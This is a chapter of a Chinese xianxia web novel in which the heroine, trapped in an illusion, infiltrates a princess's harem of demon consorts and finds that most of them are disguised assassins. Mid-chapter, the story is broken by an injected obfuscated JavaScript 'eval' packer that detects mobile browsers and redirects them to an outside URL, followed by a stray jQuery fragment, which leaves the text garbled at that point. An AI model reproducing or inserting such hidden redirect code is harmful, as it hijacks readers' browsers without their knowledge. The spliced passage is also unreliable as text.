17.第十七章
作品:《在御兽宗考研的日子》 凌澜公主府内。
祁筝和曲方邈走后,孟千衣就被青竹带至她应当居住之处——公主府的清居。
这清居分为前、中、后三院,其中所住之妖,皆是公主费尽心思收揽而来的面首,个个风姿绰约,各有千秋。
她被领至后院,初得公主雨露者都居住此处。
青竹胳膊上搭了一柄装逼用的拂尘,孟千衣看不见他的表情,也猜出他肯定鼻子不是鼻子眼不是眼。
“前院的人你惹不起,那里头住的人物,可都是公主心尖上的,你行事务必小心谨慎,切莫冲撞了他们,否则,吃苦头的可只有你自己!”
孟千衣心中冷嗤,只想当着他的面抠脚,面上却依旧强装出一副礼貌却又难掩不耐烦之色,敷衍道:“嗯嗯,晓得了,你莫要再跟着我,忙你的去吧!”
青竹倨傲的神色僵了一瞬,大声叹气两下,就匆匆走了。
在他消失前,面部似乎转向一个位置停顿了两下。
青竹这厢将将离去,孟千衣便听得身后木门“吱嘎”一声响。
她的手闪电般摸向腰间,才想起自己进了幻境,拂晓早已不见了,出了地牢时,这副壳子主人的剑也被收缴了,此刻身无寸铁。
“你是……人族?”
柔柔弱弱的男声自她身后响起,只听声音便能想象出主人定是长了一双湿漉漉的圆眼。
孟千衣闻声扭头,从打开的木门缝隙中探出一个兽耳少年来,耳朵像是犬类。虽不见五官,可也能看出皮肤白皙,脖颈纤长。
“管你什么事。”她没好气道。
“我……我只是问问,打扰到你,抱歉。”少年软软糯糯回答,黑色长发未束,披散在肩上,越发显得他一张脸如雨中梨花,惹人怜惜。
绿茶男。
孟千衣素日也没少冲浪,这类惯会卖可怜的男性,论坛上的道友统称为,男绿茶。
回怼完他,她才想起曲方邈与祁筝交给自己的任务。
恰逢绿茶男正要将门关上,她赶紧补救道:“且慢!这位……公子,可否给我讲解一下公主的后宅都住了些什么人?我好规避与他们碰面……”
她虽承认自己脾气暴躁,但办起正事来还是想当靠谱的。
绿茶迟疑一瞬,转而乖巧地点点头,从屋里出来。
孟千衣上下打量他一番,此人虽长相清纯无辜,身量却并不低,与她这副躯壳几乎不相上下。
高大纤瘦的绿茶男试探性地触了下她抱着的左臂,口中发出羡慕的声音:“哇,哥哥,你的臂膀好大!不像我,一点肌肉也没有……你是怎么修炼的呀,哥哥?”
孟千衣差点快要呕出,闭着眼深呼吸调整了一番,才道:“天生的。”
“啊?好吧,哥哥,你不想说就算了~”绿茶失落道。
“至于殿下后宅的大小人物嘛,咱们这等住在后院,与前院纠葛都无甚关系,只要专注自身,维持姣好容貌,强健的身躯,提高竞争力就可以啦~”
他不知道从哪儿变出一把纸扇,轻轻摇着,语气轻佻,仿佛在谈论一件再寻常不过的事。
孟千衣眉头微蹙,此人言语间滴水不漏,竟将自己抛出的问题全然绕开,不着痕迹地将话题引向了别处。
按常理推断,同为公主面首,这绿茶男容貌出众,心思也颇为玲珑,未必就逊色于前院那些备受宠爱者。
然而,他言语之间,竟无半分嫉妒讥讽之意,似是急于将话题岔开。
她目光在他身上一扫,见他身姿纤弱,腰肢如柳,不禁冷笑一声:“那你的体格怎么看上去如此娇软?公主喜欢你这一挂的?”
绿茶闻言脸色一绿,原本含笑的眸子瞬间冷了下来,语气中带着几分怒意:“你不许这么说公主!!”
孟千衣微微一怔,见他反应如此激烈,不动声色道:“……嗯,对不起。”
她口中虽道歉,手中却悄然运起内力,指尖微动,一缕金黄灵力自她掌心溢出,化作一把虚空剑,剑锋寒光凛冽,悄无声息对准了这人后心。
妖族对人族的灵力有天然的排斥,若绿茶男若是无修为或是修为极低,大概是发现不了她的。
反之,倘若此人修为较强,这样威胁意味极强的举动,它此刻必然无法掩饰体内的妖气,露出破绽。
然而,兽耳男子却似浑然不觉,依旧站在原地,神色如常。
若非孟千衣瞥见他头顶的耳朵迅速抖了下,还真当以为他是个草包了。
能察觉她作为化神期的攻击,还能做出从容的反应,至少在化神以上。
公主府的面首门槛如此高吗?!
她心中暗惊,手中灵力却未收回,虚空剑依旧悬在他背后,只待他稍有异动,便立刻动手。
两人对峙片刻,四周寂静无声,微风拂过,带起几片落叶,轻轻飘落在两人之间。
“怎么了,哥哥?”狗男嘴角好像挂上一丝笑意,“怎么不说话?”
孟千衣已然试探出结果,心中有了底,便不欲与他过多纠缠。她指尖一收,金黄灵力瞬间消散于无形,就像从未存在过。
“无事,耽误你时间了,公子。”
绿茶狗男闻言,笑意盈盈,声音轻柔似水:“哥哥不必与我客气,大家都是公主府的兄弟,何须如此见外?”
三言两语间,两人已指桑骂槐地过上几回合,绿茶见这人族如此不识好歹,仿佛是觉得这半晌交锋浪费他的伪装与真情,声音也逐渐从有气无力变得中气十足起来。
他言语间虽温和,却隐隐透着一丝讥讽暗示孟千衣既然成了公主的面首,心思却不老实。
孟千衣听在耳中,心中冷笑,只扫了他一眼,转身欲走。
然而,绿茶却似不愿就此罢休,声音忽而一扬:“哥哥这般匆匆离去,莫非是觉得与我说话无趣,还是……心中有愧,不敢多留?”
孟千衣脚步一顿,回眸看他,眼中寒光一闪:“公子此言何意?”
狗男轻笑一声,被折扇半挡住的面庞中闪过一瞬的挑衅:“哥哥方才那般试探,莫非真当我看不出?你我皆是公主府中人,何必如此针锋相对?”
孟千衣心中很是疲惫,跟他斗上几句,仿佛苍老了200岁,“公子多虑了。我只是想为今后的日子提前做打算,若有冒犯之处,还望海涵。”
狗男轻笑两声,但笑声中却听不出几丝真情实感的笑意:“为今后的日子提前做打算?不知这日子是哥哥的,还是……你上面的人的?”
孟千衣眸色一沉,“公子此言,我倒听不明白了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158420|163722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看这样子,往公主府塞人的势力并不少,凌澜好色这事,大概是她放出的极其成功的一个噱头。
狗男这是误会了。
少年轻笑一声,折扇一合,缓步上前,声音低柔却带着几分寒意:“哥哥何必装糊涂?你知晓我在说什么,我也知晓你在说什么。只是我劝哥哥一句,有些事,莫要插手太深。”
“多谢公子提醒,清者自清这句话也送给公子。”
男子见她如此,笑意渐敛,平静道:“但愿如此。”
两人对视片刻,四周空气仿佛凝固,孟千衣看不见他的眼睛,对上一张如白纸般的面部,她胳膊上起了些鸡皮疙瘩,只想快些离开。
待她直挺挺的背影消失后,包括狗男在内的场景便如纸上未干水墨画,风一吹,就彻底晕开,消失不见。
经过她长达一日的打探,后院男子百花齐放,邪肆风流如蛇妖,健壮性感如牛妖,以及第一面那位娇弱温柔的犬妖,各类美男妖应有尽有。
只是这其中真假参半,只一小半是真面首,大部分……大概都是她豢养的死士。
傍晚,曲方邈与祁筝双双一脸疲色从宫中归来,梦貘更是累得毛都失去了光泽。
比起与妖修比谁的心眼多,她还是更喜欢毛茸茸的缺心眼妖兽。
曲方邈一回来,便传任休来凌风阁。
这是他们三人集思广益,给他起的名,既方便又好记。
曲方邈:(讲述)
孟千衣:“什么?!你是说宫里那个五公主是坏的?!”
祁筝:“嗷啊!”你话本看少了吧,什么年龄了还分好的坏的,非我族类其心必异懂不懂?!
曲方邈:(翻译)
孟千衣:(讲述)
祁筝:“嗷啊!”什么?!你是说后院那个犬妖是绿茶?!
曲方邈:(翻译)
孟千衣:“你冲浪冲少了吧,绿茶都满地跑了好不好,天天光瞅着你那葫芦峰的一亩三分地,何时能进步?”
就这样,他们互相分享了一天的见闻。几番交谈下来,三人皆不由感叹,公主的日子,实在过得太累了。
公主的处境,绝非外人眼中那般风光无限,也更非史书上那般叛逆,她本身就处于四面楚歌中,为了活命做出一些违背史官意志的行为,也是无可厚非的事。
她在公主府中豢养如此多的死士,却偏要将其伪装成面首,整日与他们周旋,不过是为了掩人耳目,将自己塑造成一个耽于男色、昏庸无度的公主形象。
然而,她的野心却远非如此简单。或许,她的确爱慕美男,享受与他们的风花雪月。但与此同时,她一直在暗中筹谋,借机培养一批忠心耿耿的死士,为日后的大业铺路。
祁筝思忖着孟千衣所说的少年犬妖警惕的举措,或许,怀疑公主府面首暗藏玄机的,不止他们几人。
时光荏苒,转眼间,他们已在这幻境中度过了一整年。
这一年里,梦貘多次入梦,安抚他们,梦境中的一切,不过是一瞬间的幻象。外界的时间早已停滞不前。
也就是说,外界的时间,或许只是狄花海打一个喷嚏的瞬间。甚至,他的眼睛还未完全闭上,嘴巴也还未张开。
然而他的大师姐,已在幻境中待了一年了。